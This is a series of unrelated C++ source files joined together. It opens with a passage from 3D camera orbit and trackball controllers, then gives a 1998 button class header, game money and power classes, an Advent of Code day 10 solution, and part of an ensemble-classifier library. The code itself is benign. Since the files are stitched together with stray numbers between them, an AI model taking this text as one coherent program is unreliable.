EventType::Dragged)) { m_yaw = fmod(m_yaw - 0.02f * event.m_delta.x, c_2pi); m_pitch = fmod(m_pitch - 0.02f * event.m_delta.y, c_2pi); } this->update_eye(); } void OrbitController::set_eye(const quat& rotation) { vec3 direction = rotate(rotation, -z3); m_camera.m_eye = m_camera.m_target - direction * m_distance; //m_camera.m_target = m_position; } void OrbitController::set_target(const vec3& position) { m_camera.m_target = position; this->update_eye(); } void OrbitController::update_eye() { quat rotation = quat({ m_pitch, m_yaw, 0.f }); this->set_eye(rotation); } FreeOrbitController::FreeOrbitController(Viewer& viewer) : OrbitController(viewer) {} vec3 set_length(const vec3& vec, float length) { return normalize(vec) * length; } void make_safe(Polar& p) { float EPS = 0.000001f; p.phi = max(EPS, min(c_pi - EPS, p.phi)); } Polar to_polar(const vec3& p) { const float radius = sqrt(sq(p.x) + sq(p.y) + sq(p.z)); if(radius == 0.f) return { 0.f, 0.f, 0.f }; else { const float theta = atan2(p.x, p.z); const float phi = acos(clamp(p.y / radius, -1.f, 1.f)); return { theta, phi, radius }; } } vec3 to_vec3(const Polar& p) { const float t = sin(p.phi) * p.radius; const float x = t * sin(p.theta); const float y = cos(p.phi) * p.radius; const float z = t * cos(p.theta); return vec3(x, y, z); } void OrbitControls::process(Viewer& viewer) { Camera& camera = viewer.m_camera; this->update(viewer, camera.m_fov, camera.m_eye, camera.m_target, camera.m_up, camera.m_view); } void OrbitControls::update(Widget& widget, float fov, vec3& eye, vec3& target, vec3& up, mat4& mat) { this->update(widget, widget.m_frame.m_size, fov, eye, target, up, mat); } void OrbitControls::update(ControlNode& input, const vec2& size, float fov, vec3& eye, vec3& target, vec3& up, mat4& mat) { auto getAutoRotationAngle = [&]() -> float { return 2.f * c_pi / 60.f / 60.f * autoRotateSpeed; }; auto getZoomScale = [&]() -> float { return pow(0.95f, zoomSpeed); }; auto rotateLeft = [&](float angle) { sphericalDelta.theta -= angle; }; auto rotateUp = [&](float angle) { sphericalDelta.phi -= angle; }; auto panLeft = [&](float distance) { vec3 v = vec3(mat[0]); // get X column of objectMatrix v *= -distance; panOffset += v; }; auto panUp = [&](float distance) { vec3 v = screenSpacePanning ? vec3(mat[1]) : cross(up, vec3(mat[0])); // get X column of objectMatrix v *= -distance; panOffset += v; }; // deltaX and deltaY are in pixels; right and down are positive auto pan = [&](const vec2& delta) { bool perspective = true; if(perspective) { // perspective vec3 offset = eye - target; float targetDistance = length(offset); // half of the fov is center to top of screen targetDistance *= tan((fov / 2.f) * c_pi / 180.f); // we use only clientHeight here so aspect ratio does not distort speed panLeft(2 * delta.x * targetDistance / size.y); // , object.matrix); panUp(2 * delta.y * targetDistance / size.y); // , object.matrix); } else { // orthographic //panLeft(deltaX * (object.right - object.left) / object.zoom / element.clientWidth, object.matrix); //panUp(deltaY * (object.top - object.bottom) / object.zoom / element.clientHeight, object.matrix); } }; #if 1 auto dollyIn = [&](float dollyScale) { bool perspective = true; if(perspective) { scale /= dollyScale; } else { //object.zoom = max(minZoom, min(maxZoom, object.zoom * dollyScale)); //object.updateProjectionMatrix(); zoomChanged = true; } }; auto dollyOut = [&](float dollyScale) { bool perspective = true; if(perspective) { scale *= dollyScale; } else { //object.zoom = max(minZoom, min(maxZoom, object.zoom / dollyScale)); //object.updateProjectionMatrix(); zoomChanged = true; } }; #endif if(MouseEvent event = input.mouse_event(DeviceType::MouseLeft, EventType::Pressed)) { bool mod = event.m_modifiers != InputMod::None; state = mod ? State::Pan : State::Rotate; if(enableRotate && state == State::Rotate) rotateStart = event.m_relative; else if(enablePan && state == State::Pan) panStart = event.m_relative; } if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Pressed)) { state = State::Dolly; if(enableZoom) dollyStart = event.m_relative; } if(MouseEvent event = input.mouse_event(DeviceType::MouseRight, EventType::Pressed)) { state = State::Pan; if(enablePan) panStart = event.m_relative; } auto handleMouseMoveRotate = [&](const MouseEvent& event) { rotateEnd = event.m_relative; rotateDelta = (rotateEnd - rotateStart) * rotateSpeed; rotateLeft(2 * c_pi * rotateDelta.x / size.y); // yes, height rotateUp(2 * c_pi * rotateDelta.y / size.y); rotateStart = rotateEnd; }; auto handleMouseMoveDolly = [&](const MouseEvent& event) { dollyEnd = event.m_relative; dollyDelta = dollyEnd - dollyStart; if(dollyDelta.y > 0.f) dollyIn(getZoomScale()); else if(dollyDelta.y < 0.f) dollyOut(getZoomScale()); dollyStart = dollyEnd; }; auto handleMouseMovePan = [&](const MouseEvent& event) { panEnd = event.m_relative; panDelta = (panEnd - panStart) * panSpeed; pan(panDelta); panStart = panEnd; }; if(MouseEvent event = input.mouse_event(DeviceType::Mouse, EventType::Moved)) { if(state == State::Rotate && enableRotate) { handleMouseMoveRotate(event); } else if(state == State::Dolly && enableZoom) { handleMouseMoveDolly(event); } else if(state == State::Pan && enablePan) { handleMouseMovePan(event); } } if(MouseEvent event = input.mouse_event(DeviceType::MouseLeft, EventType::Released)) state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Released)) state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseRight, EventType::Released)) state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Moved)) { if(enabled == false || enableZoom == false || (state != State::None && state != State::Rotate)) return; //dispatchEvent(startEvent); if(event.m_deltaZ < 0.f) dollyOut(getZoomScale() * abs(event.m_deltaZ)); else if(event.m_deltaZ > 0) dollyIn(getZoomScale() * abs(event.m_deltaZ)); //dispatchEvent(endEvent); } //var offset = vec3(0.f); // //// so camera.up is the orbit axis quat rotation = ZeroQuat;// new THREE.Quaternion().setFromUnitVectors(object.up, new vec3(0, 1, 0)); quat invrotation = inverse(rotation); // quat.clone().inverse(); //var position = object.position; vec3 offset = eye - target; // rotate offset to "y-axis-is-up" space offset = rotation * offset; // angle from z-axis around y-axis spherical = to_polar(offset); if(autoRotate && state == State::None) rotateLeft(getAutoRotationAngle()); spherical.theta += sphericalDelta.theta; spherical.phi += sphericalDelta.phi; spherical.theta = max(minAzimuthAngle, min(maxAzimuthAngle, spherical.theta)); spherical.phi = max(minPolarAngle, min(maxPolarAngle, spherical.phi)); make_safe(spherical); spherical.radius *= scale; // restrict radius to be between desired limits spherical.radius = max(minDistance, min(maxDistance, spherical.radius)); // move target to panned location target += panOffset; offset = to_vec3(spherical); // rotate offset back to "camera-up-vector-is-up" space offset = invrotation * offset; eye = target + offset; //object.lookAt(target); if(enableDamping == true) { sphericalDelta.theta *= (1.f - dampingFactor); sphericalDelta.phi *= (1.f - dampingFactor); panOffset *= 1.f - dampingFactor; } else { sphericalDelta = {};//vec3(0.f); panOffset = vec3(0.f); } scale = 1.f; } #if 0 function handleKeyDown( event ) { // console.log( 'handleKeyDown' ); var needsUpdate = false; switch ( event.keyCode ) { case keys.UP: pan( 0, keyPanSpeed ); needsUpdate = true; break; case keys.BOTTOM: pan( 0, - keyPanSpeed ); needsUpdate = true; break; case keys.LEFT: pan( keyPanSpeed, 0 ); needsUpdate = true; break; case keys.RIGHT: pan( - keyPanSpeed, 0 ); needsUpdate = true; break; } if ( needsUpdate ) { // prevent the browser from scrolling on cursor keys event.preventDefault(); update(); } } function handleTouchStartRotate( event ) { //console.log( 'handleTouchStartRotate' ); rotateStart.set( event.touches[ 0 ].pageX, event.touches[ 0 ].pageY ); } function handleTouchStartDollyPan( event ) { //console.log( 'handleTouchStartDollyPan' ); if ( enableZoom ) { var dx = event.touches[ 0 ].pageX - event.touches[ 1 ].pageX; var dy = event.touches[ 0 ].pageY - event.touches[ 1 ].pageY; var distance = sqrt( dx * dx + dy * dy ); dollyStart.set( 0, distance ); } if ( enablePan ) { var x = 0.5 * ( event.touches[ 0 ].pageX + event.touches[ 1 ].pageX ); var y = 0.5 * ( event.touches[ 0 ].pageY + event.touches[ 1 ].pageY ); panStart.set( x, y ); } } function handleTouchMoveRotate( event ) { //console.log( 'handleTouchMoveRotate' ); rotateEnd.set( event.touches[ 0 ].pageX, event.touches[ 0 ].pageY ); rotateDelta.subVectors( rotateEnd, rotateStart ).multiplyScalar( rotateSpeed ); var element = domElement === document ? domElement.body : domElement; rotateLeft( 2 * c_pi * rotateDelta.x / element.clientHeight ); // yes, height rotateUp( 2 * c_pi * rotateDelta.y / element.clientHeight ); rotateStart.copy( rotateEnd ); update(); } function handleTouchMoveDollyPan( event ) { //console.log( 'handleTouchMoveDollyPan' ); if ( enableZoom ) { var dx = event.touches[ 0 ].pageX - event.touches[ 1 ].pageX; var dy = event.touches[ 0 ].pageY - event.touches[ 1 ].pageY; var distance = sqrt( dx * dx + dy * dy ); dollyEnd.set( 0, distance ); dollyDelta.set( 0, pow( dollyEnd.y / dollyStart.y, zoomSpeed ) ); dollyIn( dollyDelta.y ); dollyStart.copy( dollyEnd ); } if ( enablePan ) { var x = 0.5 * ( event.touches[ 0 ].pageX + event.touches[ 1 ].pageX ); var y = 0.5 * ( event.touches[ 0 ].pageY + event.touches[ 1 ].pageY ); panEnd.set( x, y ); panDelta.subVectors( panEnd, panStart ).multiplyScalar( panSpeed ); pan( panDelta.x, panDelta.y ); panStart.copy( panEnd ); } update(); } function handleTouchEnd( event ) { //console.log( 'handleTouchEnd' ); } function onKeyDown( event ) { if ( enabled === false || enableKeys === false || enablePan === false ) return; handleKeyDown( event ); } function onTouchStart( event ) { if ( enabled === false ) return; event.preventDefault(); switch ( event.touches.length ) { case 1: // one-fingered touch: rotate if ( enableRotate === false ) return; handleTouchStartRotate( event ); state = State::TOUCH_ROTATE; break; case 2: // two-fingered touch: dolly-pan if ( enableZoom === false && enablePan === false ) return; handleTouchStartDollyPan( event ); state = State::TOUCH_DOLLY_PAN; break; default: state = State::None; } if ( state !== State::None ) { dispatchEvent( startEvent ); } } function onTouchMove( event ) { if ( enabled === false ) return; event.preventDefault(); event.stopPropagation(); switch ( event.touches.length ) { case 1: // one-fingered touch: rotate if ( enableRotate === false ) return; if ( state !== State::TOUCH_ROTATE ) return; // is this needed? handleTouchMoveRotate( event ); break; case 2: // two-fingered touch: dolly-pan if ( enableZoom === false && enablePan === false ) return; if ( state !== State::TOUCH_DOLLY_PAN ) return; // is this needed? handleTouchMoveDollyPan( event ); break; default: state = State::None; } } function onTouchEnd( event ) { if ( enabled === false ) return; handleTouchEnd( event ); dispatchEvent( endEvent ); state = State::None; } function onContextMenu( event ) { if ( enabled === false ) return; event.preventDefault(); } // force an update at start this.update(); #endif TrackballController::TrackballController(Viewer& viewer) : m_target0(viewer.m_camera.m_target) , m_eye0(viewer.m_camera.m_eye) , m_up0(viewer.m_camera.m_up) {} TrackballController::TrackballController(const vec3& eye, const vec3& target, const vec3& up) { // force an update at start //this->update(eye, target, up); m_target0 = target; m_eye0 = eye; m_up0 = up; } void TrackballController::rotateCamera(vec3& eye, vec3& up) { vec3 moveDirection = vec3(m_moveCurr - m_movePrev, 0.f); float angle = length(moveDirection); if(angle) { m_to_eye = eye - m_target; vec3 upward = normalize(up); vec3 sideward = normalize(cross(upward, normalize(m_to_eye))); upward *= m_moveCurr.y - m_movePrev.y; sideward *= m_moveCurr.x - m_movePrev.x; moveDirection = upward + sideward; vec3 axis = normalize(cross(moveDirection, m_to_eye)); angle *= m_rotateSpeed; quat quaternion = axis_angle(axis, angle); m_to_eye = quaternion * m_to_eye; up = quaternion * up; m_lastAxis = axis; m_lastAngle = angle; } else if(!m_staticMoving && m_lastAngle) { m_lastAngle *= sqrt(1.f - m_dynamicDampingFactor); m_to_eye = eye - m_target; quat quaternion = axis_angle(m_lastAxis, m_lastAngle); m_to_eye = quaternion * m_to_eye; up = quaternion * up; } m_movePrev = m_moveCurr; } void TrackballController::zoomCamera() { if(m_state == State::TouchZoomPan) { float factor = m_touchZoomDistanceStart / m_touchZoomDistanceEnd; m_touchZoomDistanceStart = m_touchZoomDistanceEnd; m_to_eye *= factor; } else { float factor = 1.0f + (m_zoomEnd.y - m_zoomStart.y) * m_zoomSpeed; if(factor != 1.0f && factor > 0.0f) m_to_eye *= factor; if(m_staticMoving) m_zoomStart = m_zoomEnd; else m_zoomStart.y += (m_zoomEnd.y - m_zoomStart.y) * m_dynamicDampingFactor; } } void TrackballController::panCamera(vec3& position, const vec3& up) { vec2 mouseChange = m_panEnd - m_panStart; if(length2(mouseChange)) { mouseChange *= length(m_to_eye) * m_panSpeed; vec3 pan = set_length(cross(m_to_eye, up), mouseChange.x); pan += set_length(up, mouseChange.y); position += pan; m_target += pan; if(m_staticMoving) m_panStart = m_panEnd; else m_panStart += (m_panEnd - m_panStart) * m_dynamicDampingFactor; } } void TrackballController::checkDistances(vec3& position) { if(!m_noZoom || !m_noPan) { if(length2(m_to_eye) > sq(m_maxDistance)) { position = m_target + set_length(m_to_eye, m_maxDistance); m_zoomStart = m_zoomEnd; } if(length2(m_to_eye) < sq(m_minDistance)) { position = m_target + set_length(m_to_eye, m_minDistance); m_zoomStart = m_zoomEnd; } } } void TrackballController::process(Viewer& viewer) { Camera& camera = viewer.m_camera; this->update(viewer, camera.m_eye, camera.m_target, camera.m_up); // , camera.m_up); } void TrackballController::update(Widget& widget, vec3& eye, vec3& target, vec3& up) { this->update(widget, widget.m_frame.m_size, eye, target, up); } void TrackballController::update(ControlNode& input, const vec2& size, vec3& eye, vec3& target, vec3& up) { m_to_eye = eye - m_target; if(!m_noRotate) this->rotateCamera(eye, up); if(!m_noZoom) this->zoomCamera(); if(!m_noPan) this->panCamera(eye, up); eye = m_target + m_to_eye; this->checkDistances(eye); if(m_enabled == false) return; auto getMouseOnScreen = [](const vec2& rect, const vec2& pos) -> vec2 { return pos / rect; }; auto getMouseOnCircle = [](const vec2& rect, const vec2& pos) -> vec2 { return { (pos.x - rect.x * 0.5f) / (rect.x * 0.5f), (rect.y + 2 * -pos.y / rect.x) // screen.width intentional }; }; if(m_state == State::None) { for(State state : { State::Rotate, State::Zoom, State::Pan }) { if(KeyEvent event = input.key_event(m_keys[state], EventType::Pressed)) { m_state = state; m_prevState = m_state; } if(KeyEvent event = input.key_event(m_keys[state], EventType::Released)) { m_state = m_prevState; } } } if(MouseEvent event = input.mouse_event(DeviceType::MouseLeft, EventType::Pressed)) { m_state = State::Rotate; if(!m_noRotate) { m_moveCurr = getMouseOnCircle(size, event.m_relative); m_movePrev = m_moveCurr; } } if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Pressed)) { m_state = State::Zoom; if(!m_noZoom) { m_zoomStart = getMouseOnScreen(size, event.m_relative); m_zoomEnd = m_zoomStart; } } if(MouseEvent event = input.mouse_event(DeviceType::MouseRight, EventType::Pressed)) { m_state = State::Pan; if(!m_noPan) { m_panStart = getMouseOnScreen(size, event.m_relative); m_panEnd = m_panStart; } } if(MouseEvent event = input.mouse_event(DeviceType::Mouse, EventType::Moved)) { if(m_state == State::Rotate && !m_noRotate) { m_movePrev = m_moveCurr; m_moveCurr = getMouseOnCircle(size, event.m_relative); } else if(m_state == State::Zoom && !m_noZoom) { m_zoomEnd = getMouseOnScreen(size, event.m_relative); } else if(m_state == State::Pan && !m_noPan) { m_panEnd = getMouseOnScreen(size, event.m_relative); } } if(MouseEvent event = input.mouse_event(DeviceType::MouseLeft, EventType::Released)) m_state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Released)) m_state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseRight, EventType::Released)) m_state = State::None; if(MouseEvent event = input.mouse_event(DeviceType::MouseMiddle, EventType::Moved)) { if(m_noZoom != true) { m_zoomStart.y += event.m_deltaZ * 0.025f; } } target = m_target; if(distance2(m_lastEye, eye) > c_cmp_epsilon) // FLT_EPSILON) // EPS) { //this->dispatchEvent(changeEvent); m_lastEye = eye; } } void TrackballController::reset(vec3& eye, vec3& target, vec3& up) { m_state = State::None; m_prevState = State::None; m_target = m_target0; eye = m_eye0; up = m_up0; m_to_eye = eye - m_target; target = m_target; m_lastEye = eye; } /* function touchstart(event) { if(m_enabled == false) return; event.preventDefault(); switch(event.touches.length) { case 1: m_state = State::TouchRotate; m_moveCurr = getMouseOnCircle(event.touches[0].pageX, event.touches[0].pageY)); m_movePrev = m_moveCurr); break; default: // 2 or more m_state = State::TouchZoomPan; var dx = event.touches[0].pageX - event.touches[1].pageX; var dy = event.touches[0].pageY - event.touches[1].pageY; m_touchZoomDistanceEnd = m_touchZoomDistanceStart = sqrt(dx * dx + dy * dy); var x = (event.touches[0].pageX + event.touches[1].pageX) / 2; var y = (event.touches[0].pageY + event.touches[1].pageY) / 2; m_panStart = getMouseOnScreen(x, y)); m_panEnd = m_panStart); break; } _m_dispatchEvent(startEvent); } function touchmove(event) { if(m_enabled == false) return; event.preventDefault(); event.stopPropagation(); switch(event.touches.length) { case 1: m_movePrev = m_moveCurr); m_moveCurr = getMouseOnCircle(event.touches[0].pageX, event.touches[0].pageY)); break; default: // 2 or more var dx = event.touches[0].pageX - event.touches[1].pageX; var dy = event.touches[0].pageY - event.touches[1].pageY; m_touchZoomDistanceEnd = sqrt(dx * dx + dy * dy); var x = (event.touches[0].pageX + event.touches[1].pageX) / 2; var y = (event.touches[0].pageY + event.touches[1].pageY) / 2; m_panEnd = getMouseOnScreen(x, y)); break; } } function touchend(event) { if(m_enabled == false) return; switch(event.touches.length) { case 0: m_state = State::None; break; case 1: m_state = State::TouchRotate; m_moveCurr = getMouseOnCircle(event.touches[0].pageX, event.touches[0].pageY)); m_movePrev = m_moveCurr); break; } _m_dispatchEvent(endEvent); } */ namespace ui { Viewer& viewer(Widget& parent, Scene& scene) { Viewer& viewer = parent.subi(&type(), scene); viewer.m_scene = viewer.m_viewport.m_scene = &scene;; viewer.resize(); //if(MouseEvent event = viewer.mouse_event(DeviceType::MouseLeft, EventType::Stroked, InputMod::None, false)) // viewer.take_focus(); return viewer; } #if 0 Viewer& pbr_viewer(Widget& parent, Scene& scene) { viewer.m_filters = make_unique(); viewer.m_viewport.m_filters = &viewer.m_filters; viewer.m_viewport.comp().m_enabled = true; } #endif SceneViewer& scene_viewer(Widget& parent, const vec2& size) { SceneViewer& self = parent.subi(&type()); self.resize(); if(self.once() && size != vec2(0.f)) { self.m_frame.m_content = size; self.m_frame.solver(viewer_styles().viewer_fixed); //dummy(self, size); } return self; } void viewport_picker(Viewer& viewer, Widget& widget, vector& selection) { UNUSED(selection); if(MouseEvent event = widget.mouse_event(DeviceType::Mouse, EventType::Moved, InputMod::None, false)) { auto callback = [&](Item* item) { viewer.m_hovered = item; }; viewer.picker(0).pick_point(viewer.m_viewport, event.m_relative, callback, ItemFlag::Selectable); } if(MouseEvent event = widget.mouse_event(DeviceType::MouseLeft, EventType::Stroked)) { //if(viewer.m_hovered) // select(selection, viewer.m_hovered->m_node->m_object); } if(MouseEvent event = widget.mouse_event(DeviceType::MouseRight, EventType::Stroked)) { //Entity* entity = pick_entity(viewer, event.m_relative, ItemFlag::Selectable | ItemFlag::Static); //context_menu(viewer.m_vision.m_user.m_selector, *entity); } } Viewer& scene_viewport(Widget& parent, Scene& scene, Camera& camera, vector& selection) { Viewer& viewer = parent.suba(scene); if(viewer.once()) { UNUSED(camera); //scene.m_cameras.push_back({ &camera, &viewer.m_camera }); //viewer.m_controller = make_unique(viewer, camera); } //viewer.m_controller->process(viewer); viewport_picker(viewer, viewer, selection); return viewer; } OrbitController& orbit_controller(Viewer& viewer, float yaw, float pitch, float distance) { if(!viewer.m_controller) viewer.m_controller = make_unique(viewer, yaw, pitch, distance); viewer.m_controller->process(viewer); return as(*viewer.m_controller); } OrbitControls& orbit_controls(Viewer& viewer) { if(!viewer.m_controller) viewer.m_controller = make_unique(); viewer.m_controller->process(viewer); return as(*viewer.m_controller); } TrackballController& trackball_controller(Viewer& viewer) { if(!viewer.m_controller) viewer.m_controller = make_unique(viewer); viewer.m_controller->process(viewer); return as(*viewer.m_controller); } FreeOrbitController& free_orbit_controller(Viewer& viewer) { if(!viewer.m_controller) viewer.m_controller = make_unique(viewer); FreeOrbitController& controller = as(*viewer.m_controller); controller.process(viewer); if(MouseEvent event = viewer.mouse_event(DeviceType::MouseLeft, EventType::Stroked, InputMod::None, false)) viewer.take_focus(); struct KeyMove { Key key; vec3 velocity; }; auto move_key = [](Viewer& viewer, vec3& speed, const KeyMove& move) { if(viewer.key_event(move.key, EventType::Pressed)) speed += move.velocity; if(viewer.key_event(move.key, EventType::Released)) speed += -move.velocity; }; const KeyMove moves[12] = { { Key::Up, -z3 * 2.f }, { Key::W, -z3 * 2.f }, { Key::Down, z3 * 2.f }, { Key::S, z3 * 2.f }, { Key::Left, -x3 * 1.f }, { Key::A, -x3 * 1.f }, { Key::Right, x3 * 1.f }, { Key::D, x3 * 1.f }, { Key::T, y3 * 1.f }, { Key::Z, -y3 * 1.f }, { Key::G, -y3 * 1.f }, { Key::X, y3 * 1.f }, }; for(const KeyMove& key_move : moves) move_key(viewer, controller.m_speed, key_move); vec3 velocity = rotate(quat({ controller.m_pitch, controller.m_yaw, 0.f }), controller.m_speed); controller.set_target(viewer.m_camera.m_target + velocity); return controller; } OrbitController& isometric_controller(Viewer& viewer, bool topdown) { OrbitController& orbit = orbit_controller(viewer); if(topdown) { orbit.m_yaw = c_pi2; orbit.m_pitch = -c_pi2; } else { orbit.m_yaw = c_pi4; orbit.m_pitch = -c_pi4; } orbit.update_eye(); return orbit; } OrbitController& hybrid_controller(Viewer& viewer, OrbitMode mode, Transform& entity, bool& aiming, vec2& angles, bool modal) { UNUSED(modal); using Mode = OrbitMode; OrbitController& orbit = mode == Mode::Isometric ? ui::isometric_controller(viewer) : ui::orbit_controller(viewer); orbit.set_target(entity.m_position + y3 * 2.f); if(MouseEvent event = viewer.mouse_event(DeviceType::MouseLeft, EventType::Stroked, InputMod::None, false)) { if(!viewer.modal()) { viewer.take_modal(); if(mode == Mode::ThirdPerson || mode == Mode::PseudoIsometric) { if(!viewer.ui_window().m_context.m_mouse_lock) viewer.ui_window().m_context.lock_mouse(true); } } } if(MouseEvent event = viewer.mouse_event(DeviceType::Mouse, EventType::Moved)) { const float rotation_speed = 1.f; vec2 angle = -event.m_delta / 250.f * rotation_speed; if(mode != Mode::ThirdPerson) { Ray ray = viewer.m_viewport.ray(event.m_relative); vec3 target = plane_segment_intersection(Plane(y3, entity.m_position.y), to_segment(ray)); if(mode == Mode::Isometric) { entity.m_rotation = look_at(entity.m_position, target); } else if(mode == Mode::PseudoIsometric) { entity.m_rotation = quat(vec3(0.f, orbit.m_yaw, 0.f)); orbit.m_yaw += angle.x; } } else { entity.m_rotation = rotate(entity.m_rotation, y3, angle.x); angles.y += angle.y; angles.y = min(c_pi2 - 0.01f, max(-c_pi2 + 0.01f, angles.y)); } } if(mode == Mode::ThirdPerson) { orbit.set_eye(aiming ? rotate(entity.m_rotation, x3, angles.y) : entity.m_rotation); aiming = true; } if(mode == Mode::PseudoIsometric) { orbit.m_pitch = -c_pi4; orbit.update_eye(); } if(viewer.key_event(Key::Escape, EventType::Stroked)) { viewer.yield_modal(); if(mode == Mode::ThirdPerson || mode == Mode::PseudoIsometric) { if(viewer.ui_window().m_context.m_mouse_lock) viewer.ui_window().m_context.lock_mouse(false); } } return orbit; } void velocity_controller(Viewer& viewer, vec3& linear, vec3& angular, float speed) { struct KeyMove { Key key; vec3 velocity; }; auto velocity_key = [](Widget& widget, vec3& linear, vec3& angular, const KeyMove& move, float speed) { UNUSED(angular); if(widget.key_event(move.key, EventType::Pressed)) linear += move.velocity * speed; if(widget.key_event(move.key, EventType::Released)) linear -= move.velocity * speed; }; //bool shift = viewer.ui().m_keyboard.m_shift; const KeyMove moves[8] = { { Key::Up, -z3 }, { Key::W, -z3 }, { Key::Down, z3 }, { Key::S, z3 }, { Key::Left, -x3 }, { Key::A, -x3 }, { Key::Right, x3 }, { Key::D, x3 }, }; for(const KeyMove& key_move : moves) velocity_key(viewer, linear, angular, key_move, speed); } } } 1-10 /****************************************************************************** ** (C) 1998 ** ** MODULE: BUTTON.HPP ** COMPONENT: Windows C++ Library. ** DESCRIPTION: The CButton class declaration. ** ******************************************************************************* */ // Check for previous inclusion #ifndef BUTTON_HPP #define BUTTON_HPP /****************************************************************************** ** ** This is a button control. ** ******************************************************************************* */ WCLCLASS CButton : public CCtrlWnd { public: // // Constructors/Destructor. // CButton(void); // // Standard methods. // protected: // // Members. // }; /****************************************************************************** ** ** Implementation of inline functions. ** ******************************************************************************* */ #endif //BUTTON_HPP #include "MyResources.h" #include "GameScene.h" bool Money::init() { _money = 5100; char temp[50]; sprintf(temp, "%d", _money); _label = Label::create(temp, "fonts/arial.ttf", 32); this->addChild(_label); return _label; } bool Money::checkMoney(const int cost)const { if (_money >= cost) { return true; } return false; } void Money::updateMoneyDisplay() { char temp[50]; sprintf(temp, "%d", _money); _label->setString(temp); } int Money::getMoney()const { return _money; } void Money::spendMoney(const int cost) { _money -= cost; updateMoneyDisplay(); } void Money::increaseMoney(int amount) { //TODO //if(building is true) _money += amount; updateMoneyDisplay(); } void Money::updateMoney(float dt) { //TODO the number of MineToMoney int amount = static_cast(this->getParent())->getVectorMine().size() * 50; increaseMoney(amount); } bool Power::init() { _power = 0; char temp[30]; sprintf(temp, "%d", _power); _label = Label::create(temp, "fonts/arial.ttf", 32); this->addChild(_label); return _label; } bool Power::checkPower(const int cost)const { if (_power >= cost) { return true; } return false; } void Power::updatePowerDisplay() { char temp[30]; sprintf(temp, "%d", _power); _label->setString(temp); } void Power::spendPower(const int cost) { _power -= cost; updatePowerDisplay(); } int Power::getPower()const { return _power; } void Power::increasePower(int amount) { //TODO if the Powerstation is built _power += amount; updatePowerDisplay(); } 0 #include "aoc.h" namespace day10 { REGISTER_DAY(day10, std::vector, int64_t); REGISTER_TEST_EXAMPLE(day10, ExampleInput, 1, 26397); REGISTER_TEST (day10, Input, 1, 240123); REGISTER_TEST_EXAMPLE(day10, ExampleInput, 2, 288957); REGISTER_TEST (day10, Input, 2, 3260812321); READ_INPUT(input) { return Input::ReadLines(input); } OUTPUT1(input) { std::map values{{')', 3}, {']', 57}, {'}', 1197}, {'>', 25137}}; Mapper mapper{{'(', ')'}, {'[', ']'}, {'{', '}'}, {'<', '>'}}; int64_t count = 0; for(auto&& str : input) { std::stack stack; stack.emplace(str[0]); for(size_t i = 1; i < str.size(); i++) { char* ptr = mapper.GetFirst(str[i]); if(ptr) { if(stack.top() != *ptr) { count += values[str[i]]; break; } stack.pop(); } else { stack.emplace(str[i]); } } } return count; } OUTPUT2(input) { Mapper mapper{{'(', ')'}, {'[', ']'}, {'{', '}'}, {'<', '>'}}; std::map values{{'(', 1}, {'[', 2}, {'{', 3}, {'<', 4}}; int64_t count = 0; std::vector scores; for(auto&& str : input) { std::stack stack; stack.emplace(str[0]); bool valid = true; for(size_t i = 1; i < str.size(); i++) { char* ptr = mapper.GetFirst(str[i]); if(ptr) { if(stack.top() != *ptr) { valid = false; break; } stack.pop(); } else { stack.emplace(str[i]); } } if(valid) { int64_t score = 0; while(!stack.empty()) { score *= 5; score += values[stack.top()]; stack.pop(); } scores.emplace_back(score); } } std::sort(scores.begin(), scores.end()); return scores[scores.size() / 2]; } } /* Copyright (c) 2014, and All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holders nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include using namespace std; #include "Obj.h" #include "Classifier.h" #include "zString.h" #include "DataSet.h" #include "Prediction.h" #include "Ensemble.h" using namespace libedm; static const char MyName[MAX_OBJECT_NAME_LENGTH]="Ensemble"; const string CEnsemble::StaticName=MyName; vector CEnsemble::FileCreators; CEnsemble::~CEnsemble() { Flush(); } //remove all generated base classifiers bool CEnsemble::Flush() { for(int i=0;i<(int)Classifiers.size();i++) delete Classifiers[i]; Classifiers.clear(); Weights.clear(); FileCreators.clear(); return true; } //save all classifiers into file, and can be reconstructed from it int CEnsemble::Save(const string &Path,const string &FileName) const { ofstream OutFile; OutFile.open((Path+FileName+"."+Name+".ini").c_str(),ios_base::trunc|ios_base::out|ios_base::binary); if(OutFile.fail()) return 1; //size of ensemble int EnsembleSize=(int)Classifiers.size(); OutFile.write((char*)&EnsembleSize,sizeof(EnsembleSize)); //file name and weight for each base classifier for(int i=0;i<(int)Classifiers.size();i++) { char Type[32]; strncpy(Type,Classifiers[i]->GetName().c_str(),sizeof(Type)); OutFile.write(Type,sizeof(Type)); double Weight=Weights[i]; OutFile.write((char*)&Weight,sizeof(Weight)); Classifiers[i]->Save(Path,FileName+CzString::IntToStr(i)); } return 0; } 